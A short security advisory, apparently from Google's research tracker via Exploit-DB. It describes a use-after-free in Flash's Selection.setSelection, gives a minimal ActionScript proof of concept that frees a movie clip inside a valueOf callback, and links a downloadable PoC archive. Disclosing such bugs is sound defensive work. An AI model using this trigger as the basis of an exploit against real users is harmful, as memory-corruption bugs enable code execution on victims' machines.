24 lines
No EOL
861 B
Text
24 lines
No EOL
861 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=590
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There is a use-after-free in Selection.SetSelection. If it is called with a number parameter, which is an object with valueOf defined, and this function frees the parent of the TextField parameter, the object is used after it is freed. A minimal PoC follows:
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var mc = this.createEmptyMovieClip("mc", 301);
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var myText_txt = mc.createTextField("myText_txt", 302, 1, 1, 100, 100);
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myText_txt.text = "this is my text";
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Selection.setFocus("myText_txt");
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var n = {valueOf : func};
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Selection.setSelection(n, 3);
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function func(){
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mc.removeMovieClip();
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// Fix heap here
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return 0;
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}
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A sample swf and fla are attached. Note that this PoC only works on 64-bit platforms.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39043.zip |